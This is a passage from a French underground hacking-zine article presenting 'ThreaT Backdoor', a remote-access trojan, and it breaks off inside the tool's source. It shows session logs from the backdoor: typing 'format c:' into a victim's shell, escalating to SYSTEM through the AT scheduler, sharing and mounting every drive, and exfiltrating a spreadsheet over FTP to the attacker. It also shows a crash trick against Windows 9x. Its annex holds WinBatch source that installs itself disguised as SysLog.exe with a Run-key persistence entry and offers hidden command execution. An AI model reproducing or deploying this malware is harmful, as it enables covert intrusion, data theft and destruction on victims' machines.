livre de la vie est le livre suppreme~" sendkey "qu'on ne peut ni ouvrir ni fermer a son choix{!}~" sendkey "on voudrais revenir à la page ou l'on aime...~" sendkey "...mais la page ou l'on meurt est deja sous nos doigts{!}" display 5 "coucou l'amis" "près pour un petit formatage devant tes yeux??" execute cmd sendkey "format c:~" sendkey o message "message pour admin en furie!" "on rigole! vas pas nous taper une crise!" execute iexplore http://www.chez.com/mvm ----------------------- ce petit script improvisé vas ouvrir un port 4252, deplacer la souris en haut à gauche de l'ecran, executer le notepad pour y ecrire un texte, ensuite un message apparaitras 5 secondes pour avertir l'administrateur d'un eventuelle formatage. une fois les 5 secondes ecoulés, un interpreteur de commande vas ce lancer sous les yeux dechainé de notre admin, et la commande format c: vas y être inscrite suivit d'un retour chariot. quand la commande format vas demander confirmation, la backdoor vas repondre OUI automatiquement, mais n'appuyera pas sur entrée. à la place, un popup apparaitras pour destresser notre amis l'admin qui doit déjà être tombé sur le carlage à cause d'une attaque cardiaque ;) et enfin, une fois que l'admin auras cliquer sur OK, celui si seras redirigé vers 'ThreaT Undersite' Voila, il suffit maintenant de taper EXIT dans le shell N°1 pour que la magie opère. effet testé et approuvé par un pauvre admin qui bosse avec moi :) b / GARDER UN SHELL ACTIF MEME EN CAS DE FERMETURE DE SESSION GRACE AU PRIVILEGE ADMINISTRATIF. °°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°° 'ThreaT Backdoor' ne donne plus d'accès au prompte si l'utilisateur qui a invoqué l'execution de son procesus vient à ce deloguer sous windows NT. Mais alors comment faire pour garder un shell toujours actif, même si l'utilisateur local ferme sa session? L'astuce vas resider dans l'ouverture d'un port en temp qu' agent 'system' ce qui veut dire que le shell sous lequel nous allons faire les manipulations doit avoir un privilège administratif voici comment proceder : telnet srvtest 4251 Trying srvtest... Connected to srvtest. Escape charactere is '^]'. --------------------------- ThreaT BackDoor Version 1.0 --------------------------- Type HELP for commands /* determinons en premier lieu quel est l'environnement utilisateur de ce shell */ C:\>spawn net user %USERNAME% Nom d'utilisateur Administrateur Nom complet Commentaire Compte d'utilisateur d'administration Commentaire utilisateur Code de pays 000 (Valeur par défaut du système) Compte : actif Oui : expiration Jamais Mot de passe : dernier changmt. 12/15/00 1:25 PM : expiration Jamais : modifiable après 12/15/00 1:25 PM : exigé Oui : changmt. possible Oui Stations autorisées Tous(tes) Script d'ouverture de session script.cmd Profil d'utilisateur Répertoire de base Dernier accès 9/23/01 5:27 PM -- Suite -- Heures d'accès autorisé Tous(tes) Appartient aux groupes locaux *Administrateurs Appartient aux groupes globaux *Aucun La commande a été exécutée. /* Maintenant que nous savont que nous somme dans un environnement administratif, regardons quel est le nom de la backdoor en jettant un oeil sur les processus actifs */ C:\>winactif WWWTCP WBT - SysLog.exe OleMainThreadWndName DDHelpWndClass Moniteur de programmes publiés MS_WebcheckMonitor OleMainThreadWndName WWWTCP SMS Client User Application Launcher OleMainThreadWndName LoadWC Norton AntiVirus Corporate Edition OleMainThreadWndName OleMainThreadWndName Hidden GHBN Window Scan ACTION VPIPCLINK DDE Server Window état du contrçole à distance Agent de contrôle à distance Program Manager /* pour info, le nom du processus qu'utilise la backdoor est toujours du type 'WBT - ' nous en concluons donc que la backdoor utilise 'SYSLOG.EXE' (qui est l'exe par defaut) localisons maintenant ou ce trouve cet executable */ C:\>which syslog.exe Localisation de syslog.exe : C:\WINNT\system32\syslog.exe /* utilisons maintenant la commande AT pour passer notre processus dans un environnement SYSTEM */ C:\>spawn at Le service n'a pas été lancé. C:\>spawn net start schedule Le service Planning démarre. Le service Planning a démarré. C:\>spawn at La liste est vide. C:\>spawn time /t 18:08 C:\>spawn at 18:10 c:\winnt\system32\syslog.exe 4242 Tâche ajoutée avec ID = 0 C:\>spawn at Etat ID Jour Heure Ligne de commande ------------------------------------------------------------------------------- 0 Aujourd'hui 18:10 PM c:\winnt\system32\syslog.exe 4242 C:\>spawn time /t 18:09 C:\>spawn time /t 18:10 C:\>spawn netstat -a | find /i '"4242"' TCP srvtest:4242 0.0.0.0:0 EN ECOUTE /* Et voila! */ Petit test : ----[ TB Shell 2 ]---- telnet srvtest 4242 Trying srvtest... Connected to srvtest. Escape charactere is '^]'. --------------------------- ThreaT BackDoor Version 1.0 --------------------------- Type HELP for commands C:\>spawn set | find /i '"user"' USERDOMAIN=AUTORITE NT USERNAME=SYSTEM USERPROFILE=D:\WINNT\Profiles\Default User --------------------------- /* Impecable! maintenant, le shell en ecoute sur le port 4242 seras toujours accessible, même si l'administrateur vient à ce deloguer */ c / ACCEDER A TOUT LES REPERTOIRES DE VOTRE VICTIME VIA NETBIOS GRACE A TB. °°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°° Cette astuce est surtout pour ceux qui ne connaissent pas windows NT, (car je pense que les habitués y auront pensés) en gros, sa vas vous permettre de browser le DD du serveur backdooré avec votre jolie souris, sans passer par un sale serveur FTP planqué à la rache! pour cela, très simple, il suffit de partager, et de placer les droits appropriés (dans la mesure du possible) sur les repertoires que vous desirez par l'intermediaire de TB! Ensuite, il ne vous reste plus qu'à faire un net use de la ressource distante pour la monter en local. Demonstration : telnet srvtest 4251 Trying srvtest... Connected to srvtest. Escape charactere is '^]'. --------------------------- ThreaT BackDoor Version 1.0 --------------------------- Type HELP for commands C:\>diskinfo --------------------------------------- A: Disque amovible --------------------------------------- C: Disque dur local D: Disque dur local F: Disque dur local G: Disque dur local --------------------------------------- E: Lecteur CDROM --------------------------------------- Lecteur reseau --------------------------------------- C:\>spawn net share c=c:\ c a été partagé. C:\>spawn net share d=d:\ d a été partagé. C:\>spawn net share f=f:\ f a été partagé. C:\>spawn net share g=g:\ g a été partagé. C:\>spawn net share Nom partage Ressource Remarque ------------------------------------------------------------------------------- IPC$ IPC distant c c:\ d d:\ f f:\ g g:\ La commande a été exécutée. /* maintenant que tout est partagé, il ne reste plus qu'à ce connecter */ ---[ Shell local ]--- Microsoft(R) Windows NT(TM) (C) Copyright 1985-1996 Microsoft Corp D:\>net use * \\srvtest\c Le lecteur E: est maintenant connecté à \\srvtest\c. La commande a été exécutée. D:\>net use * \\srvtest\d Le lecteur F: est maintenant connecté à \\srvtest\d. La commande a été exécutée. D:\>net use * \\srvtest\f Le lecteur G: est maintenant connecté à \\srvtest\f. La commande a été exécutée. D:\>net use * \\srvtest\g Le lecteur H: est maintenant connecté à \\srvtest\g. La commande a été exécutée. ------------------------------ et voila! il ne reste plus qu'à prendre sa petite souris, et browser les lecteurs E, F, G & H comme si nous étions sur un réseau local. d / BROWSER LE RESEAU DE VOTRE VICTIME AVEC THREAT BACKDOOR °°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°° Je pense que maintenant que vous avez compris la puissance de la commande spawn (pour ceux qui maitrisent le shell cmd) vous avez pigé qu'il vous est aussi possible de browser le réseau de votre victime grâce à ThreaT Backdoor! telnet srvtest 4242 Trying srvtest... Connected to srvtest. Escape charactere is '^]'. --------------------------- ThreaT BackDoor Version 1.0 --------------------------- Type HELP for commands C:\>spawn net view Nom de serveur Remarque ------------------------------------------------------------------------------- \\ADM \\SERGE \\TEST \\CENTRAL \\DEVIN \\HP \\WEB Samba 2.0.5a \\PC-ADM \\PC_1 \\PC_2 \\PC_3 PIII 550 \\PC_4 PIII 550 \\PC_5 \\PC_6 PII 400 \\PC_7 \\PC_8 Vectra VL6/233 s7 -- Suite -- \\PC_9 \\PC_10 \\PC_11 \\REF Samba 2.0.5a \\CASBA \\LINUX Samba 2.0.5a \\VMS \\VAX La commande a été exécutée. C:\>spawn net view /domain Domaine ------------------------------------------------------------------------------- BUREAU COMMERCE COMPTA DOMTOM LAMBDA PIXEL UMG WORKGROUP La commande a été exécutée. C:\>spawn net view \\web Ressources partagées de \\web Samba 2.0.5a Nom Type Local Remarque ------------------------------------------------------------------------------- public Disque public directory work Disque work directory La commande a été exécutée. C:\>spawn net use * \\web\public Le lecteur H: est maintenant connecté à \\web\public La commande a été exécutée C:\>diskinfo --------------------------------------- A: Disque amovible --------------------------------------- C: Disque dur local D: Disque dur local F: Disque dur local G: Disque dur local --------------------------------------- E: Lecteur CDROM --------------------------------------- H: Lecteur reseau --------------------------------------- C:\>cd h: H:\>spawn dir Le volume dans le lecteur H s'appelle public Le numéro de série du volume est 0895-0882 Répertoire de H:\ 26/07/01 12:03 Scripts 06/06/00 11:30 Consommation 23/06/00 13:19 Dot et Bip 23/06/00 13:16 oscar 09/07/01 12:23 711 22/05/01 11:27 KPL 02/06/00 16:27 250 dc230lp_q 12/09/00 19:09 lost+found 08/03/01 11:58 5 829 632 TIMER.DOC 26/06/01 14:44 54 272 Doc1.doc 20/02/01 18:26 Hermes 07/02/01 12:11 90 624 perf.xls 24/05/00 16:26 stachem 08/03/01 12:04 4 643 ENTETE.doc 24/09/01 10:05 Sauvegardes 15 fichier(s) 5 979 421 octets 236 851 200 octets libres H:\>ftp FTP client for ThreaT Backdoor V 1.0 #################################### ftp> connect threat User : rcp Password : X;l|1t Tentative de connexion à threat...OK Vous êtes connecté à threat avec le compte rcp. threat : ftp> bin Using BINARY mode to transfer files. threat : ftp> put h:\perf.xls perf.xls Transfert du fichier en mode B... OK : Le transfert c'est effectué avec succès. threat : ftp> dir perf.xls -rw-rw-rw- 1 rcp other 90624 Sep 24 15:19 perf.xls threat : ftp> quit Votre session FTP a été deconnectée Bye Bye! H:\>spawn net use Les nouvelles connexions seront mémorisées. Etat Local Distant Réseau ------------------------------------------------------------------------------- OK H: \\web\public Réseau Microsoft Windows La commande a été exécutée. H:\>cd c: C:\>spawn net use h: /delete h: a été supprimé. /* Ceci etait une petite demo de recup d'un fichier placé sur le réseau d'une victime potentiel. */ e / GENERER UN BSOD SOUS WIN9X (petite récréation). °°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°° un bel ecran bleu sous windows 98 grâce à ThreaT Backdoor! no problem! telnet win9x 4251 Trying win9x... Connected to win9x. Escape charactere is '^]'. --------------------------- ThreaT BackDoor Version 1.0 --------------------------- Type HELP for commands C:\>execute c:\con\con Connection closed by foreign host. je sais... c'était la petite joke pour finir! ################# _________________ 0X06 ~ CONCLUSION ^^^^^^^^^^^^^^^^^ ################# J'aurais vraimment aimé vous parler un peut plus de ce petit soft, en vous faisans divers scenarios d'attaques, Mais toutes les meilleurs choses on une fin. Je conclurais donc en vous disans que 'ThreaT Backdoor' est comme tout sujet presenté dans tout zine underground! Son utilisation et son exploitation ne sont pas limités aux seuls choses dites si dessus, et je vous encourage très serieusement à etudier, recoder, comprendre et decouvrir par vous même de nouvelles methodes de manipulations, non seulement pour cet outil, mais aussi pour toutes les autres techniques que vous pourrez decouvrir dans votre quête de connaissance... ########## __________ 0X07 ~ FIN ^^^^^^^^^^ ########## J'espère que cet article ne vous a pas trop pris la tête, et que celui ci etait suffisament interressant techniquement et utilement. Comme d'habitude, j'attend vos commantaires et vos questions à ThreaT@Caramail.com greatz : Saur0n & Eberkut (avec une pensée pour pauvre greg ;) -------------------------------------------------------------------------------------------------------------------------- Greatz à tous les autodidactes qui souffrent d'être demunies de ces bouts de papiers qui barrent les routes de la passion. Le faite de juger les personnes par ce qu'elles sont et non par ce qu'elles font consitue pour nous une forme de rascisme qui prouve votre incompréhention du domaine informatique. -------------------------------------------------------------------------------------------------------------------------- ++ ThreaT ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ######################################################################### ######################################################################### ##### ##### ##### ANNEXE 1 : CODE SOURCE DE ThreaT Backdoor ##### ##### ##### ######################################################################### ######################################################################### ----------------------------------------------------[ Tbserveur.wbt]----------------------------------------------------- ; Code source 'ThreaT Backdoor' ; ----------------------------- ; Auteur : ThreaT ; Version : 1.0 ; ; Ce code source peut être copié et distribué en totalité ou en partie, tant que la personne ; agit dans un esprit de partage et non de profit. IntControl (1002, 0, 0, 0, 0) IntControl (1001, 1, 0, 0, 0) if fileexist (strcat (dirwindows(1),"SysLog.exe")) == 1 || fileexist (strcat (dirwindows(1),"SysLog.exe")) == 2 then goto bypass filecopy (intcontrol (1004,0,0,0,0),strcat (dirwindows(1),"SysLog.exe"),@false) regsetvalue (regopenkey (@regmachine,"SOFTWARE\Microsoft\Windows\CurrentVersion\Run"),"[SystemLog]",strcat (dirwindows(1),"SysLog.exe")) :bypass addextender ("wwwsk34i.dll") if !isdefined (param1) then param1 = "4251" errormode(@off) port = param1 mysocket=sopen() slisten (mysocket,port) :debut connexion=saccept (mysocket,@true) if connexion == 0 sclose (mysocket) ;message ("erreur!","creation du socket impossible!") exit endif ssendstring (connexion,strcat (strfill("-",27),"%@crlf%ThreaT BackDoor Version 1.0%@crlf%",strfill("-",27),@crlf," Type HELP for commands!",@crlf,@crlf,dirget(),">")) while @true command=strlower (srecvline (connexion,500)) if wxGetLastErr() == @sok parsedata (command) flag = 0 if !isdefined (param1) then param1 = "foo" if param1 == "exit" || param1 == "break" then break if param1 == "help" then flag = 1 if param1 == "dir" || param1 == "dird" then flag = 2 if param1 == "ping" then flag = 3 if param1 == "copy" || param1 == "move" then flag = 4 if param1 == "cd" then flag = 5 if param1 == "execute" || param1 == "exechide" then flag = 6 if param1 == "shutdown" then flag = 7 if param1 == "message" then flag = 8 if param1 == "del" then flag = 9 if param1 == "view" then flag = 10 if param1 == "sendkey" then flag = 11 if param1 == "mouse" then flag = 12 if param1 == "question" then flag = 13 if param1 == "spawn" then flag = 14 if param1 == "ren" then flag = 15 if param1 == "md" then flag = 16 if param1 == "rd" then flag = 17 if param1 == "open" then flag = 18 if param1 == "which" then flag = 19 if param1 == "diskinfo" then flag = 20 if param1 == "display" then flag = 21 if param1 == "regedit" then flag = 22 if param1 == "ftp" then flag = 23 if param1 == "mail" then flag = 24 gosub view ssendstring (connexion,strcat (@crlf,dirget (),">")) endif endwhile if param1 == "break" ssendline (connexion,"Break de la connexion, Bye!") sclose (mysocket) exit endif ssendline (connexion,"Vous pouvez quitter la session...") goto debut :view switch flag case 0 if param1 == "clip" then ssendline (connexion, clipget ()) else if param1 == "winactif" then ssendline (connexion, strreplace (winitemize(),@tab,@crlf)) else if param1 == "bip" then beep else ssendline (connexion,"commande incorrect, tapez 'help' pour avoir de l'aide.") break case 1 a=strcat (@crlf,"ThreaT BackDoor Version 1.0",@crlf,strfill ("-",27),@crlf,@crlf) b=strcat ("Commandes de manipulation du shell :",@crlf,strfill ("#",37),"%@crlf%DIR: lister les fichiers d'un repertoire, ex: dir *.txt%@crlf%DIRD: lister les repertoires d'un repertoire%@crlf%CD: changer de repertoire, ex: cd test%@crlf%") c="MD: Crée un repertoire%@crlf%RD: Supprime un repetoire vide%@crlf%REN: Pour renommer un fichier ou un repertoire%@crlf%MOVE: deplacer un fichier%@crlf%COPY: Copier des fichiers de vers %@crlf%DEL: efface un ou plusieurs fichiers" d="%@crlf%VIEW: Pour visualiser le contenu d'un fichier%@crlf%WHICH: Rechercher un fichier à travers le path%@crlf%PING: Test la presence d'un hôte sur le reseau%@crlf%OPEN: Ouvrir un port pour l'acces au shell%@crlf%" e="DISKINFO: Retourne la liste des lecteurs presents sur la machine%@crlf%SPAWN: retourne le resultat d'une commande dos ou cmd%@crlf%EXIT: pour sortir de la session sans casser la connexion%@crlf%BREAK: pour sortir de la session et casser la connexion" ssendline (connexion,strcat (a,b,c,d,e,@crlf,@crlf,"-- Suite --")) while @true x=strlower (srecvline (connexion,2)) if wxGetLastErr() == @sok then break endwhile a=strcat ("Commandes de manipulation GUI",@crlf,strfill ("#",29),@crlf,"CLIP: Afficher le contenu du presse-papier%@crlf%WINACTIF : retroune la liste des fenetres active%@crlf%BIP: Emet un bip %@crlf%") b="EXECUTE: execute une commande sur la machine distante%@crlf%EXECHIDE: Execute une commande furtive sur la machine distante%@crlf%SHUTDOWN: force le système à redémarrer%@crlf%MESSAGE: Affiche un popup sur la machne distante%@crlf%" c="DISPLAY: Affiche un message pendent N secondes%@crlf%QUESTION: Poser une question a votre interlocuteur%@crlf%SENDKEY: Pour envoyer une chaine de caractere%@crlf%MOUSE: Pour faire bouger la souris%@crlf%" ssendline (connexion,strcat (a,b,c,@crlf,"-- Suite --")) while @true x=strlower (srecvline (connexion,2)) if wxGetLastErr() == @sok then break endwhile a=strcat ("Utilitaires",@crlf,strfill ("#",11),@crlf,"REGEDIT: Editeur de base de registre%@crlf%FTP: Client FTP%@crlf%MAIL: Client SMTP anonyme%@crlf%%@crlf%%@crlf% ThreaT Backdoor is for Fun & Profit!%@crlf% Report bugs to : ThreaT@Caramail.com") ssendline (connexion,a) break case 2 if !isdefined (param2) then param2 = "*.*" if param1 == "dir" fil=strreplace (fileitemize (param2),@tab,@crlf) len=strcharcount (strcat ("Liste des fichiers present depuis ",dirget())) ssendline (connexion,strcat ("%@crlf%Liste des fichiers present depuis ",dirget(),@crlf,strfill("-",len),@crlf,fil)) endif if param1 == "dird" dirl=strreplace (diritemize (param2),@tab,strcat (@tab,"",@crlf)) len=strcharcount (strcat ("Liste des repertoires present depuis ",dirget())) ssendline (connexion,strcat ("%@crlf%Liste des repertoires present depuis ",dirget(),@crlf,strfill("-",len),@crlf,dirl,strcat (@tab,"",@crlf))) endif break case 3 if !isdefined (param2) ssendline (connexion,"%@crlf%Syntaxe : PING %@crlf%") else ssendstring (connexion,"%@crlf%Envoye de la requete ping sur %param2%...") a=Wxping (param2) if a == 1 ssendline (connexion, "%@crlf%Réponse de %param2% OK!%@crlf%") ssendstring (connexion,"%@crlf%Resolution du Nom IP : ") b=wXaddr2host ("%param2%") ssendline (connexion,b) ssendstring (connexion,"%@crlf%Resolution de l'Addresse IP : ") b=wxhost2addr ("%param2%") ssendline (connexion,b) else ssendline (connexion,"%@crlf%Aucune reponse de %param2% %@crlf%") endif endif break case 4 com="copy" manque = "no" if param1 == "move" then com = "move" if !isdefined (param3) then manque = "destination" if !isdefined (param2) then manque = "source" if manque == "source" || manque == "destination" ssendline (connexion,"%@crlf%vous avez oublier de specifier la %manque% %@crlf%Syntaxe: %com% %@crlf%") break endif if com == "copy" stat = filecopy (param2,param3,@false) if stat == 1 then ssendline (connexion, "La copie c'est passé correctement.%@crlf%") else ssendline (connexion,"Une erreur c'est produite! impossible de copier %param2% vers %param3%!%@crlf%") endif if com == "move" stat = filemove (param2,param3,@false) if stat == 1 then ssendline (connexion, "Le deplacement c'est passé correctement.%@crlf%") else ssendline (connexion, "Une erreur c'est produite! impossible de deplacer %param2% vers %param3%!%@crlf%") endif break case 5 if !isdefined (param2) then param2 = dirget () aa=dirchange (param2) if aa != 1 then ssendline (connexion,"%@crlf%Impossible de changer de repertoire.") break case 6 etat = "normal" if param1 == "exechide" then etat = "hidden" if !isdefined (param2) then param2 = "" if !isdefined (param3) then param3 = "" runshell (param2,param3,"",@%etat%,@nowait) break case 7 ssendstring (connexion,"Attention! La machine va redemarrer!%@crlf%est ce que vous etes sur de votre choix [Y/N] : ") while @true choix=strlower (srecvline (connexion,2)) if wxGetLastErr() == @sok if choix == "y" ssendline (connexion,"%@crlf%Le systeme distant reboot!%@crlf%") sclose (mysocket) intcontrol (67,0,1,0,0) else ssendline (connexion, "%@crlf%Action abandonnée..%@crlf%") endif break endif endwhile break case 8 if !isdefined (param3) || !isdefined (param2) then ssendline (connexion,"%@crlf%Syntaxe: Message %@crlf%") else message (param2,param3) break case 9 if !isdefined (param2) ssendline (connexion,"%@crlf%Syntaxe: DEL ") else del = filedelete (param2) if del == 1 then ssendline (connexion,"%@crlf%%param2% supprimé.%@crlf%") else ssendline (connexion,"%@crlf%Suppression de %param2% impossible!%@crlf%") endif break case 10 if !isdefined (param2) ssendline (connexion,"%@crlf%Syntaxe: View %@crlf%") else vi=fileopen (param2,"READ") if lasterror() == "1077" ssendline (connexion,"%@crlf%Impossible de visualiser le fichier demander!%@crlf%") break else line = strcat (@crlf,strfill("-",15),"[ Visualisation de %param2% ]",strfill ("-",15)) ssendline (connexion,line) endif while @true for i = 1 to 20 viewit = fileread (vi) if viewit == "*EOF*" then break ssendline (connexion, viewit) next if viewit == "*EOF*" then break ssendline (connexion,"%@crlf%---Appyuer sur <> pour la suite, ou 'q' pour quitter---%@crlf%") while @true x=strlower (srecvline (connexion,2)) if wxGetLastErr() == @sok then break endwhile if x == "q" then break else continue endwhile fileclose (vi) ssendline (connexion,strcat (strfill ("-",strlen (line)),@crlf,"Fin de la visualisation de %param2%",@crlf,strfill ("-",strlen (line)))) endif break case 11 if !isdefined (param2) then ssendline (connexion,"%@crlf%Syntaxe: Sendkey %@crlf%") else sendkey (param2) break case 12 if !isdefined (param2) ssendline (connexion, strcat (@crlf,'Syntaxe: Mouse "X Y", ex: mouse "300 500"',"%@crlf%Ne pas oublier les guillemets!%@crlf%%@crlf%Taper 'Mouse coord' pour afficher les coordonnées de la souris distante%@crlf%en temp reel pendant 5 secondes.%@crlf%")) else if param2 == "coord" ssendstring (connexion,@crlf) for i = 1 to 10000 ssendstring (connexion,strcat ("Les coordonnées de la souris sont : ",mousecoords ("",""),@cr )) next ssendstring (connexion,@crlf) else mouseplay (param2,"","",0,2) endif endif break case 13 if !isdefined (param2) || !isdefined (param3) ssendline (connexion, "%@crlf%Syntaxe: Question %@crlf%") else ssendline (connexion, "%@crlf%Votre question a été envoyée,%@crlf%attente de la reponse...") reponse=askline (param2,param3,"") :cancel ssendline (connexion, strcat ("%@crlf%Reponse de votre interlocuteur%@crlf%",strfill("-",30),@crlf,reponse,@crlf,strfill("-",30))) endif break case 14 tmpfile=filecreatetemp ("tmp") runhidewait (environment("COMSPEC"),'/c %param2% %param3% %param4% %param5% %param6% %param7% %param8% %param9% %param10% > %tmpfile%') spwn=fileopen (tmpfile,"READ") if lasterror() == "1077" ssendline (connexion,"%@crlf%Une erreur de transmition est survenu...%@crlf%") break endif while @true for a = 1 to 20 shell = fileread (spwn) if shell == "*EOF*" then break ssendline (connexion, shell) next if shell == "*EOF*" then break ssendline (connexion, "%@crlf%-- Suite --%@crlf%") while @true x=srecvline (connexion,1) if wxGetLastErr() == @sok then break endwhile continue endwhile fileclose (spwn) filedelete (tmpfile) break case 15 if !isdefined (param2) then param2 = "erreur" if !isdefined (param3) then param3 = "erreur" if param2 == "erreur" || param3 == "erreur" ssendline (connexion, "%@crlf%Syntaxe : Ren %@crlf%") else rd=dirrename (param2,param3) if rd == 1 then ssendline (connexion, "%@crlf%%param2% a été renomé %param3%%@crlf%") else ssendline (connexion,"%@crlf%Impossible de renomer %param2% en %param3%%@crlf%") endif break case 16 if !isdefined (param2) ssendline (connexion, "%@crlf%Syntaxe : MD <[LECTEUR:]PATH>%@crlf%") else err=dirmake (param2) if err == 1 then ssendline (connexion,"%@crlf%Le repertoire %param2% a été créé.%@crlf%") else ssendline (connexion,"%@crlf%Impossible de créé le repertoire %param2%") endif break case 17 if !isdefined (param2) ssendline (connexion, "%@crlf%Syntaxe : RD %@crlf%") else err=dirremove (param2) if err == 1 then ssendline (connexion,"%@crlf%Le repertoire %param2% a été supprimé.%@crlf%") else ssendline (connexion,"%@crlf%Impossible de supprimer le repertoire %param2%") endif break case 18 if !isdefined (param2) then param2 = "999999" if param2 > "65535" ssendline (connexion, "%@crlf%Syntaxe : open , ou N° de port est compris entre 1 et 65535%@crlf%%@crlf%ce shell est actuellement actif sur le port : %port%%@crlf%") else name=intcontrol (1004,0,0,0,0) runhide (name,param2) ssendline (connexion,"%@crlf%La demande d'ouverture du port %param2% a bien été envoyée!%@crlf%") endif break case 19 if !isdefined (param2) then ssendline (connexion,"%@crlf%Syntaxe : WHICH %@crlf%") else ssendline (connexion, strcat ("%@crlf%Localisation de %param2% : ",filelocate ("%param2%"),@crlf)) break case 20 trait=strcat (strfill ("-",39),@crlf) ddlocal=strcat (strreplace (diskscan(2),@tab,strcat (@tab,"Disque dur local",@crlf)),@tab,"Disque dur local", @crlf) ddamov=strcat (strreplace (diskscan(1),@tab,strcat (@tab,"Disque amovible",@crlf)),@tab,"Disque amovible",@crlf) cdrom=strcat (strreplace (diskscan(8),@tab,strcat (@tab,"Lecteur CDROM",@crlf)),@tab,"Lecteur CDROM",@crlf) network=strcat (strreplace (diskscan(4),@tab,strcat (@tab,"Lecteur reseau",@crlf)),@tab,"Lecteur reseau",@crlf) ssendline (connexion, strcat (trait,ddamov,trait,ddlocal,trait,cdrom,trait,network,trait)) break case 21 if !isdefined (param4) ssendline (connexion,"%@crlf%Syntaxe : DISPLAY %@crlf%") break endif if !isnumber(param2) ssendline (connexion,"%@crlf%ATTENTION! Votre premier argument doit être un nombre!%@crlf%") break endif ssendline (connexion,strcat (strfill ("-",74),@crlf,"Veuillez patientez %param2% secondes que votre message est fini de s'afficher...",@crlf,strfill ("-",74),@crlf)) display (param2,param3,param4) break case 22 ;---- Utilitaire REGEDIT developpé pour la backdoor ---- if !isdefined (param2) then param2="flop" if param2 == "hklm" then regkey = @regmachine if param2 == "hkcr" then regkey = @regclasses if param2 == "hkus" then regkey = @regusers if isdefined (regkey) then goto regedition ssendline (connexion,strcat ("%@crlf%REGEDIT for ThreaT Backdoor V 1.0%@crlf%",strfill ("-",33),"%@crlf%%@crlf%Syntaxe: REGEDIT %@crlf%%@crlf%")) ssendline (connexion,"ou peut être :%@crlf%%@crlf%HKLM%@tab%Pour HKEY_LOCAL_MACHINE%@crlf%HKCR%@tab%Pour HKEY_CLASSES_ROOT%@crlf%HKUS%@tab%Pour HKEY_USERS%@crlf%") break :regedition if param2 == "hklm" then prpt = "HKEY_LOCAL_MACHINE" if param2 == "hkcr" then prpt = "HKEY_CLASSES_ROOT" if param2 == "hkus" then prpt = "HKEY_USERS" prptroot=prpt strkey="" key=RegOpenkey(regkey,"") ssendstring (connexion,strcat (@crlf,"#~%prpt%",">")) while @true regcmd=strlower (srecvline (connexion,500)) if wxGetLastErr() == @sok parsedata (regcmd) regflag = 0 if isdefined (param1) == @false then param1 = "regfoo" if param1 == "quit" then break if param1 == "?" then regflag = 1 if param1 == "ls" then regflag = 2 if param1 == "ck" then regflag = 3 if param1 == "viewval" then regflag = 4 if param1 == "createkey" then regflag = 5 if param1 == "delkey" then regflag = 6 if param1 == "delval" then regflag = 7 if param1 == "createval" then regflag = 8 if param1 == "modifval" then regflag = 9 gosub regview ssendstring (connexion,strcat (@crlf,"#~%prpt%",">")) endif endwhile drop (regkey) regclosekey (key) ssendline (connexion,"Sortie de regedit...") break :regview switch regflag case 0 ssendline (connexion,"Commande incorrect, tapez '?' pour plus d'information") break case 1 a=strcat ("%@crlf%Regedit V 1.0%@crlf%",strfill ("-",13),"%@crlf%LS : Lister les clés est les Valeurs%@crlf%CK : (Change Key) changer de clé%@crlf%VIEWVAL : Visualiser une valeur%@crlf%DELVAL : Effacer une valeur%@crlf%") b=strcat ("CREATEVAL : Créer une nouvelle valeur%@crlf%MODIFVAL : Modifier ou assigner une donnée à une valeur%@crlf%CREATEKEY : Créer une clé de registre%@crlf%DELKEY : Effacer une clé de registre%@crlf%QUIT : Pour quitter regedit") ssendline (connexion,strcat (a,b)) break case 2 cle=RegQueryKeys(key) value=regqueryitem(regkey,"%strkey%") cle=StrReplace(cle,@tab,"%@tab%%@crlf%") value=StrReplace(value,@tab,"%@tab%%@crlf%") ssendline (connexion,strcat (strfill ("-",20),@crlf,cle,"%@tab%%@crlf%",value,"%@tab%%@crlf%",strfill ("-",20))) break case 3 if !isdefined (param2) then break oldstrkey=strkey if param2 == ".." then strkey=strsub 